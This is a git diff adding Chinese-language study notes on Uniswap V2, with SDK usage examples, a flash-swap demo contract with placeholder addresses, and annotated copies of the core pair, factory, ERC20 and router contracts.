+- **toFixed** -> 将分数格式化为指定的小数位数
+
+---
+
+这里开始的后续类都由 **Fractions** 类拓展而来：
+
+- #### Percent
+  格式化百分比
+
+```
+import { Percent } from "@uniswap/sdk";
+
+const percent = new Percent("60", "100");
+console.log(percent.toSignificant(2)); // 60
+```
+
+- toSignificant
+
+- toFixed
+
+* #### TokenAmount
+  返回指定精度余额
+
+```
+import { Token, TokenAmount } from "@uniswap/sdk";
+
+const FRIED = new Token(
+  ChainId.MAINNET,
+  "0xfa1aFe1000000000000000000000000000000000",
+  18,
+  "FRIED",
+  "Beans"
+);
+
+const tokenAmount = new TokenAmount(FRIED, "3000000000000000000");
+console.log(tokenAmount.toExact()); // 3
+```
+
+- add
+- subtract
+- toSignificant
+- toFixed
+- toExact
+
+* #### Price
+  返回相对价格
+
+```
+constructor(baseToken: Token, quoteToken: Token, denominator: BigintIsh, numerator: BigintIsh)
+```
+
+使用范例
+
+```
+import { ChainId, WETH as WETHs, Token, Price } from "@uniswap/sdk";
+
+const WETH = WETHs[ChainId.MAINNET];
+const ABC = new Token(
+  ChainId.MAINNET,
+  "0xabc0000000000000000000000000000000000000",
+  18,
+  "ABC"
+);
+
+const price = new Price(
+  WETH,
+  ABC,
+  "1000000000000000000",
+  "123000000000000000000"
+);
+console.log(price.toSignificant(3)); // 123
+```
+
+此示例显示 ETH/ABC 价格，其中 ETH 是基础 token，XYZ 是外部引用的 token。价格由 ABC（分子）数量/WETH（分母）数量构成。
+
+静态方法
+
+- fromRoute
+
+属性
+
+- baseToken
+- quoteToken
+- scalar：Fraction
+- raw：Fraction
+- adjusted：Fraction
+
+方法：
+
+- invert
+- multiply
+- quote
+- toSignificant
+- toFixed
+
+---
+
+#### Fetcher
+
+静态方法包含了获取链上交易对和 token 的实例，不可通过构造实例化。
+
+**fetchTokenData** -> 获取当前链上的 token 的数据
+
+```
+async fetchTokenData(
+  chainId: ChainId,
+  address: string,
+  provider = getDefaultProvider(getNetwork(chainId)),
+  symbol?: string,
+  name?: string
+): Promise<Token>
+```
+
+**fetchPairData** -> 获取当前交易对的数据
+
+```
+async fetchPairData(
+  tokenA: Token,
+  tokenB: Token,
+  provider = getDefaultProvider(getNetwork(tokenA.chainId))
+): Promise<Pair>
+```
+
+#### 其他导出的方法类
+
+- JSBI
+  [jsbi](https://github.com/GoogleChromeLabs/jsbi)的重导出
+
+```
+import { JSBI } from "@uniswap/sdk";
+// import JSBI from 'jsbi'
+```
+
+- BigintIsh
+  一个联合类型，由可以转换为 JSBI 实例的所有类型组成。
+- ChainId
+
+```
+import { ChainId } from "@uniswap/sdk";
+// enum ChainId {
+//   MAINNET = 1,
+//   ROPSTEN = 3,
+//   RINKEBY = 4,
+//   GÖRLI = 5,
+//   KOVAN = 42
+// }
+```
+
+- TradeType
+
+```
+import { TradeType } from "@uniswap/sdk";
+// enum TradeType {
+//   EXACT_INPUT,
+//   EXACT_OUTPUT
+// }
+```
+
+- Rounding
+
+```
+import { Rounding } from "@uniswap/sdk";
+// enum Rounding {
+//   ROUND_DOWN,
+//   ROUND_HALF_UP,
+//   ROUND_UP
+// }
+```
+
+- FACTORY_ADDRESS
+- INIT_CODE_HASH
+- MINIMUM_LIQUIDITY
+- InsufficientReservesError
+- InsufficientInputAmountError
+- WETH
+  一个对象，以 ChainId 作为索引映射到相应的 WETH token实例
diff --git a/defi/Uniswap-V2/contract/FlashTest.sol b/defi/Uniswap-V2/contract/FlashTest.sol
new file mode 100644
index 000000000..e13da0222
--- /dev/null
+++ b/defi/Uniswap-V2/contract/FlashTest.sol
@@ -0,0 +1,171 @@
+pragma solidity ^0.5.10;
+
+interface IUniswapV2Pair {
+
+    function name() external pure returns (string memory);
+
+    function symbol() external pure returns (string memory);
+
+    function decimals() external pure returns (uint8);
+
+    function totalSupply() external view returns (uint);
+
+    function balanceOf(address owner) external view returns (uint);
+
+    function allowance(address owner, address spender) external view returns (uint);
+
+    function approve(address spender, uint value) external returns (bool);
+
+    function transfer(address to, uint value) external returns (bool);
+
+    function transferFrom(address from, address to, uint value) external returns (bool);
+
+    function factory() external view returns (address);
+
+    function token0() external view returns (address);
+
+    function token1() external view returns (address);
+
+    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
+
+    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
+}
+
+library SafeMath {
+    function add(uint x, uint y) internal pure returns (uint z) {
+        require((z = x + y) >= x, 'ds-math-add-overflow');
+    }
+
+    function sub(uint x, uint y) internal pure returns (uint z) {
+        require((z = x - y) <= x, 'ds-math-sub-underflow');
+    }
+
+    function mul(uint x, uint y) internal pure returns (uint z) {
+        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
+    }
+
+    function div(uint256 a, uint256 b) internal pure returns (uint256) {
+        // Solidity only automatically asserts when dividing by 0
+        require(b > 0, "SafeMath: division by zero");
+        uint256 c = a / b;
+        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
+
+        return c;
+    }
+
+    function max(uint x, uint y) internal pure returns (uint z) {
+        z = x > y ? x : y;
+    }
+}
+
+interface IUniswapV2Callee {
+    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
+}
+
+interface IUniswapV2Router02 {
+    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
+}
+
+interface IDoubleTool {
+    function returnToken(address token, uint256 amount) external;
+}
+
+contract DoubleTool {
+
+    function safeTransfer(address token, address to, uint256 value) internal {
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
+    }
+
+    function safeTransferFrom(address token, address from, address to, uint value) internal {
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
+    }
+
+    function returnToken(address token, uint256 amount) public {
+        safeTransfer(token, msg.sender, amount);
+    }
+
+}
+
+contract FlashTest is IUniswapV2Callee {
+    using SafeMath for uint;
+    function safeApprove(address token, address to, uint value) internal {
+        // bytes4(keccak256(bytes('approve(address,uint256)')));
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
+    }
+
+    function safeTransfer(address token, address to, uint256 value) internal {
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
+    }
+
+    function safeTransferFrom(address token, address from, address to, uint value) internal {
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
+    }
+
+    IUniswapV2Router02 router = IUniswapV2Router02(0x0000000000000000000000000000000000000000);
+    IUniswapV2Pair pair = IUniswapV2Pair(0x0000000000000000000000000000000000000000);
+    IDoubleTool doubleTool = IDoubleTool(0x0000000000000000000000000000000000000000);
+    address token0 = pair.token0();//token
+    uint256 oneToken0Amount = 1e6;
+    address token1 = pair.token1();//weth
+    uint256 oneToken1Amount = 1e18;
+
+    /*
+        TODO
+        部署
+        先部署DoubleTool，往里面转一定量的两种币种，用于模拟套利得收益...
+        上面3个地址需要替换，精度也需要对应的替换
+
+        测试
+        这里主要用于演示功能， 没有处理token1,token2顺序问题
+        当前是借token0, 如需要token1，可自行修改，
+        两种还款方式，就看哪种比较合适比较省手续费
+
+        另外也可以同时借两种币，其中一种原金额返回，另外一种需要返回手续费， 两种都多返回得付两个份手续费
+
+    */
+    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
+        uint code = abi.decode(data, (uint));
+        if (code == 1) {
+            doubleTool.returnToken(token0, amount0 * 2);
+            uint fee = amount0.mul(3).div(997).add(1);
+            safeTransfer(token0, address(pair), amount0.add(fee));
+        } else if (code == 2) {
+            (uint112 _reserve0, uint112 _reserve1,) = pair.getReserves();
+            uint256 amount1Return = router.getAmountIn(amount0, _reserve1, _reserve0);
+            doubleTool.returnToken(token1, amount1Return.mul(2));
+            safeTransfer(token1, address(pair), amount1Return);
+        } else if (code == 3) {
+            doubleTool.returnToken(token0, amount0 * 2);
+            uint fee = amount0.mul(3).div(997).add(1);
+            safeTransfer(token0, address(pair), amount0.add(fee));
+            doubleTool.returnToken(token1, amount1 * 2);
+            safeTransfer(token1, address(pair), amount1);
+        }
+    }
+    //借token0，还token0
+    function testOut0Fee0() public {
+        //1、构建data data可以构建成当前合约直接执行， 这里只是放了一个数字区分两种信息
+        //2、调用pair swap()
+        uint amount = 100 * oneToken0Amount;
+        pair.swap(amount, 0, address(this), abi.encodePacked(uint(1)));
+        //3、执行当前的uniswapV2Call
+        //4、将手续费要求转到pair
+        //5、完成交易
+    }
+    //借token0,还token1
+    function testOut0Fee1() public {
+        uint amount = 100 * oneToken0Amount;
+        pair.swap(amount, 0, address(this), abi.encodePacked(uint(2)));
+    }
+    //借token0,token1, 手续费还token0
+    function testOut0and1Fee0() public {
+        uint amount = 100 * oneToken0Amount;
+        pair.swap(amount, amount, address(this), abi.encodePacked(uint(3)));
+    }
+
+}
diff --git a/defi/Uniswap-V2/contract/UniswapV2ERC20.md b/defi/Uniswap-V2/contract/UniswapV2ERC20.md
new file mode 100644
index 000000000..1634990c1
--- /dev/null
+++ b/defi/Uniswap-V2/contract/UniswapV2ERC20.md
@@ -0,0 +1,47 @@
+## UniswapV2ERC20.sol
+https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol
+
+该合约功能主要就是EIP712，具体查看介绍说明
+
+EIP712
+**关键代码和注意点**
+- 注意构造方法中使用到了 ==chainId== 和 ==name==, 如果合约修改了这两个，前端代码中签名的时候，也需要修改这两个值，才可以正常验签
+- Permit方法如果修改了参数，需要重新生成PERMIT_TYPEHASH
+
+```
+    string public constant name = 'Uniswap V2';
+
+    bytes32 public DOMAIN_SEPARATOR;
+    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
+    bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
+    mapping(address => uint) public nonces;
+    constructor() public {
+        uint chainId;
+        assembly {
+            chainId := chainid
+        }
+        DOMAIN_SEPARATOR = keccak256(
+            abi.encode(
+                keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
+                keccak256(bytes(name)),
+                keccak256(bytes('1')),
+                chainId,
+                address(this)
+            )
+        );
+    }
+   function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
+        require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
+        bytes32 digest = keccak256(
+            abi.encodePacked(
+                '\x19\x01',
+                DOMAIN_SEPARATOR,
+                keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
+            )
+        );
+        address recoveredAddress = ecrecover(digest, v, r, s);
+        require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
+        _approve(owner, spender, value);
+    }
+```
+
diff --git a/defi/Uniswap-V2/contract/UniswapV2Factory.md b/defi/Uniswap-V2/contract/UniswapV2Factory.md
new file mode 100644
index 000000000..4b92f1a93
--- /dev/null
+++ b/defi/Uniswap-V2/contract/UniswapV2Factory.md
@@ -0,0 +1,89 @@
+## UniswapV2Factory
+https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Factory.sol
+
+创建交易对， 查询遍历所有交易对信息
+
+## createPair 创建交易对
+创建交易对使用了create2，可以根据要创建的合约的字节码，随机值，部署合约的地址结合计算出合约地址
+这里顺带提一下,create1->默认的发布交易创建合约是根据用户地址+交易nonce计算出合约地址的
+
+
+```
+    function createPair(address tokenA, address tokenB) external returns (address pair) {
+        // 条件判断，两个token不为0地址，不可以相同地址
+        require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
+
+        // tokenA/tokenB排序, 排序较前的为oken0, 另一个为token1, address可以和uint160互转，所以可以排序
+        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
+
+        // token0 不能为0地址, 且交易对需要存在
+        require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
+        require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
+        
+        // 得到UniswapV2Pair的字节码(可在remix编译页面按钮下 选中pair合约，再点下面的Bytecode复制，文本中的object字段的值就是字节码)
+        使用create2创建合约(这没细究，套用格式，包括pairFor)
+        bytes memory bytecode = type(UniswapV2Pair).creationCode;
+
+        // 使用create2创建合约(这没细究，套用格式，包括pairFor)
+        bytes32 salt = keccak256(abi.encodePacked(token0, token1));
+        assembly {
+            pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
+        }
+
+        // 调用pair的initialize对token0/token1进行初始化赋值
+        IUniswapV2Pair(pair).initialize(token0, token1);
+
+        // 将两个token正、反方向分别填充到mapping中，方便查找
+        getPair[token0][token1] = pair;
+        getPair[token1][token0] = pair; // populate mapping in the reverse direction
+
+        // 添加到allPairs列表中
+        allPairs.push(pair);
+
+        // 合约创建事件
+        emit PairCreated(token0, token1, pair, allPairs.length);
+    }
+
+    // 针对init code hash说明  这个hash是由pair的字节码 keccak256得来的
+    // 每次使用remix部署的时候，可能会变，所以每次都取到bytecode/object中值进行keccak256,然后替换router中的pairFor中的code
+    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
+        (address token0, address token1) = sortTokens(tokenA, tokenB);
+        pair = address(uint(keccak256(abi.encodePacked(
+                hex'ff',
+                factory,
+                keccak256(abi.encodePacked(token0, token1)),
+                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
+            ))));
+    }
+```
+## 设置管理员和手续费地址
+
+```
+    // 设置该地址则开启手续费
+    function setFeeTo(address _feeTo) external {
+        require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
+        feeTo = _feeTo;
+    }
+
+    // 设置新的管理员
+    function setFeeToSetter(address _feeToSetter) external {
+        require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
+        feeToSetter = _feeToSetter;
+    }
+```
+
+## 查询方法
+
+```
+    // 通过两个代币查找交易对，如果不存在就返回0x0地址
+    mapping(address => mapping(address => address)) public getPair;
+
+    // 根据下标获取pair地址
+    address[] public allPairs;
+
+    // 查询pair列表长度
+    function allPairsLength() external view returns (uint) {
+        return allPairs.length;
+    }
+```
+
diff --git a/defi/Uniswap-V2/contract/UniswapV2Pair.md b/defi/Uniswap-V2/contract/UniswapV2Pair.md
new file mode 100644
index 000000000..c26aadd89
--- /dev/null
+++ b/defi/Uniswap-V2/contract/UniswapV2Pair.md
@@ -0,0 +1,314 @@
+## UniswapV2Pair
+文件路径
+https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Pair.sol
+
+内部主要功能是
+- lp增发/销毁， 是否扣手续费
+- 交换方法，校验交易结果 UniswapV2: K
+- 预言机，闪电贷
+
+
+```
+pragma solidity =0.5.16;
+
+import './interfaces/IUniswapV2Pair.sol';
+import './UniswapV2ERC20.sol';
+import './libraries/Math.sol';
+import './libraries/UQ112x112.sol';
+import './interfaces/IERC20.sol';
+import './interfaces/IUniswapV2Factory.sol';
+import './interfaces/IUniswapV2Callee.sol';
+
+contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
+    using SafeMath  for uint;
+    using UQ112x112 for uint224;
+
+    uint public constant MINIMUM_LIQUIDITY = 10**3;
+    bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
+
+    address public factory;
+    address public token0;
+    address public token1;
+
+    // 两个代币的储备量，最后更新块的时间戳
+    uint112 private reserve0;           // uses single storage slot, accessible via getReserves
+    uint112 private reserve1;           // uses single storage slot, accessible via getReserves
+    uint32  private blockTimestampLast; // uses single storage slot, accessible via getReserves
+
+    // 存储累计价格，预言机使用
+    uint public price0CumulativeLast;
+    uint public price1CumulativeLast;
+    uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
+
+    uint private unlocked = 1;
+    modifier lock() {
+        require(unlocked == 1, 'UniswapV2: LOCKED');
+        unlocked = 0;
+        _;
+        unlocked = 1;
+    }
+
+    // 获取两个代币的储备量
+    function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
+        _reserve0 = reserve0;
+        _reserve1 = reserve1;
+        _blockTimestampLast = blockTimestampLast;
+    }
+
+    function _safeTransfer(address token, address to, uint value) private {
+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
+    }
+
+    event Mint(address indexed sender, uint amount0, uint amount1);
+    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
+
+    // 交易的事件
+    event Swap(
+        address indexed sender,
+        uint amount0In,
+        uint amount1In,
+        uint amount0Out,
+        uint amount1Out,
+        address indexed to
+    );
+    event Sync(uint112 reserve0, uint112 reserve1);
+
+    constructor() public {
+        factory = msg.sender;
+    }
+
+    // 初始化两个token, 仅在第一次由工厂合约部署时调用
+    // called once by the factory at time of deployment
+    function initialize(address _token0, address _token1) external {
+        require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
+        token0 = _token0;
+        token1 = _token1;
+    }
+
+    // 每次池子变化后，调用该方法刷新，用当前合约的两个币种余额替换储备量
+    // 再每个区块首次进来的时候，更新存储的价格，可用于预言机，具体了解参考时间加权平均价格交易（TWAP）
+    // update reserves and, on the first call per block, price accumulators
+    function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
+        require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
+        uint32 blockTimestamp = uint32(block.timestamp % 2**32);
+
+        // 距离上次调用过去多久，同一个区块的时间是一样的
+        uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
+        if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
+            // * never overflows, and + overflow is desired
+            price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
+            price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
+        }
+
+        // 将余额替换储备量
+        reserve0 = uint112(balance0);
+        reserve1 = uint112(balance1);
+        blockTimestampLast = blockTimestamp;
+        emit Sync(reserve0, reserve1);
+    }
+
+    // 参考白皮书protocol fee解释：https://uniswap.org/whitepaper.pdf
+    // 正常每次可以交易收取手续费，但是太耗费gas, 所以只在每次添加和移除流动性的时候才进行手续费计算
+    // sm/(sm+ s1) = a(L2-L1)/L2, 增加的流动性份额跟流动性份额占比 其实就是手续费所占的流动性比例。
+    // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
+    function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
+        address feeTo = IUniswapV2Factory(factory).feeTo();
+        feeOn = feeTo != address(0);
+        uint _kLast = kLast; // gas savings
+        if (feeOn) {
+            if (_kLast != 0) {
+                uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
+                uint rootKLast = Math.sqrt(_kLast);
+                if (rootK > rootKLast) {
+                    uint numerator = totalSupply.mul(rootK.sub(rootKLast));
+                    uint denominator = rootK.mul(5).add(rootKLast);
+                    uint liquidity = numerator / denominator;
+                    if (liquidity > 0) _mint(feeTo, liquidity);
+                }
+            }
+        } else if (_kLast != 0) {
+            kLast = 0;
+        }
+    }
+
+    // 添加流动性，增发lp给用户， 调用前已经将两个币种转到pair
+    // 首次添加是两个币种的量相乘后开平方，再减去最小锁定lp量
+    // 二次添加是根据两个币种的比例添加
+    // this low-level function should be called from a contract which performs important safety checks
+    function mint(address to) external lock returns (uint liquidity) {
+
+        // 查询最后存储的储备量
+        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
+
+        // 查询当前余额
+        uint balance0 = IERC20(token0).balanceOf(address(this));
+        uint balance1 = IERC20(token1).balanceOf(address(this));
+
+        // 获得差额，就是添加流动性时转进来的金额
+        uint amount0 = balance0.sub(_reserve0);
+        uint amount1 = balance1.sub(_reserve1);
+
+        // 调用_mintFee,内部会修改totalSupply
+        bool feeOn = _mintFee(_reserve0, _reserve1);
+        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
+        if (_totalSupply == 0) {
+
+            // 首次添加，两个金额相乘，开平方，减去最小锁定lp量
+            liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
+           _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+        } else {
+
+            // 二次添加lp
+            /**
+                a = amount0 * totalSupply / reserve0
+                b = amount1 * totalSupply / reserve1
+                这两个结果取小值
+            */
+            liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
+        }
+        require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
+
+        // 增发lp给to
+        _mint(to, liquidity);
+
+        // 更新储备量
+        _update(balance0, balance1, _reserve0, _reserve1);
+
+        // 如果开启了手续费， 更新kLast
+        if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
+        emit Mint(msg.sender, amount0, amount1);
+    }
+
+    // 移除流动性，调用前需现将lp转给pair
+    // this low-level function should be called from a contract which performs important safety checks
+    function burn(address to) external lock returns (uint amount0, uint amount1) {
+        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
+        address _token0 = token0;                                // gas savings
+        address _token1 = token1;                                // gas savings
+        uint balance0 = IERC20(_token0).balanceOf(address(this));
+        uint balance1 = IERC20(_token1).balanceOf(address(this));
+
+        // 需要销毁的lp
+        uint liquidity = balanceOf[address(this)];
+
+        // 调用_mintFee
+        bool feeOn = _mintFee(_reserve0, _reserve1);
+        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
+
+        // 正常等比计算 用户lp/总量lp * 单币总量，就是移除时返回的两个币量
+        amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
+        amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
+        require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
+
+        // 将lp销毁掉
+        _burn(address(this), liquidity);
+
+        // 将两个币种转给to
+        _safeTransfer(_token0, to, amount0);
+        _safeTransfer(_token1, to, amount1);
+
+        // 查询余额
+        balance0 = IERC20(_token0).balanceOf(address(this));
+        balance1 = IERC20(_token1).balanceOf(address(this));
+
+        // 更新储备量
+        _update(balance0, balance1, _reserve0, _reserve1);
+        if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
+        emit Burn(msg.sender, amount0, amount1, to);
+    }
+
+    // 调用该方法之前，需要先主动将amountIn转给pair, 然后得出是0，还是1 token需要out的金额
+    // this low-level function should be called from a contract which performs important safety checks
+    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
+        require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
+
+        // 获取当前储备量
+        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
+
+        // 出的金额，需要小于当前储备量
+        require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
+
+        uint balance0;
+        uint balance1;
+        { // scope for _token{0,1}, avoids stack too deep errors
+        address _token0 = token0;
+        address _token1 = token1;
+
+        // to 不允许是两个token地址
+        require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
+
+        // 正常的话amount0/1其中有个是0，另外一个就转给to
+        if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
+        if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
+
+        // 如果data长度不为0，to实现闪电贷接口，执行，待补充例子
+        if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
+
+        // 获取余额
+        balance0 = IERC20(_token0).balanceOf(address(this));
+        balance1 = IERC20(_token1).balanceOf(address(this));
+        }
+
+        // 校验余额，余额不对提示K，查看下面注释
+        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
+        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
+        require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
+        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
+        uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
+        uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
+        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
+        }
+
+        _update(balance0, balance1, _reserve0, _reserve1);
+        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
+
+ /**
+ 针对K值的校验计算
+ 
+  转入金额是实际带手续费的，out金额是in去掉手续费后，计算出来的out
+  正常情况 (举例token0是in token, 1是out token, 交易前已经将0 in转入)
+  获取之前的流动性 r0,r1
+  转出交易金额
+  获取交易对中两个地址的余额 b0,b1
+  
+  amount0in = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;（0是in, 0 Out=0,所以前面的比较是true）
+  amount0in = b0-r0, 即实际进入金额
+
+  amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;（1是out, 正常是 r1-out1=b1 所以走false）
+  amount1In = 0
+  
+  一定要这两个其中之一大于0
+
+ 校验手续费
+ 
+  b0a = b0 * 1000 - amount0in * 3
+  b1a = b1 * 1000 - 0 * 3
+  
+  req(b0a * b1a >= r0 * r1 * 1000 * 1000)
+  r0*r1是上一个k值
+  
+  公式:
+  (rIn + in * fee) * (rOut - out) = rIn * rOut
+  (b0 - fee) * (b1) = r0 * r1 (上一次的k)
+  
+  所以判断条件是 (b0 - fee) * (b1) >= r0 * r1 (上一次的k)
+  对比 b0a,b1a 实际就是千3的手续费，没法用小数，所以两边都*1000，就可以用3计算
+ */
+    }
+    // 强制将余额和最后的储备量一样，多出来的转给to
+    // force balances to match reserves
+    function skim(address to) external lock {
+        address _token0 = token0; // gas savings
+        address _token1 = token1; // gas savings
+        _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
+        _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
+    }
+    // 强制将余额覆盖储备量
+    // force reserves to match balances
+    function sync() external lock {
+        _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
+    }
+}
+
+```
diff --git a/defi/Uniswap-V2/contract/UniswapV2Router02.md b/defi/Uniswap-V2/contract/UniswapV2Router02.md
new file mode 100644
index 000000000..588b0acf3
--- /dev/null
+++ b/defi/Uniswap-V2/contract/UniswapV2Router02.md
@@ -0,0 +1,453 @@
+## UniswapV2Router02.sol
+https://etherscan.io/address/0x7a250d5630b4cf539739df2c5dacb4c659f2488d#code
+
+路由是面向用户提供的一系列操作方法
+路由中主要是
+- library
+- 添加/移除流动性
+- 交换方法
+
+## UniswapV2Library
+
+```
+library UniswapV2Library {
+    using SafeMath for uint;
+
+    // 两个token排序，address实际也是一个uint160，可以相互转换，所以可以比大小、排序, 小的是0，确认在交易对中的token0, token1
+    // returns sorted token addresses, used to handle return values from pairs sorted in this order
+    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
+        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
+        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
+        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
+    }
+
+    // 通过create2的方式计算交易对的地址，注意initCode,每次部署的时候，可能都不一样，需要生成
+    // 用法套格式即可，对应factory中的createPair， 要深入的，可以具体去了解下create2
+    // calculates the CREATE2 address for a pair without making any external calls
+    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
+        (address token0, address token1) = sortTokens(tokenA, tokenB);
+        pair = address(uint(keccak256(abi.encodePacked(
+                hex'ff',
+                factory,
+                keccak256(abi.encodePacked(token0, token1)),
+                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
+            ))));
+    }
+
+    // 获取两个币的储备量， 通过pair查询， 内部返回值会根据入参的币种进行调整位置返回
+    // fetches and sorts the reserves for a pair
+    function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
+        (address token0,) = sortTokens(tokenA, tokenB);
+        (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
+        (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
+    }
+
+    // 添加流动性的时候，通过该方法查询输入A的数量，需要多少个B
+    // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
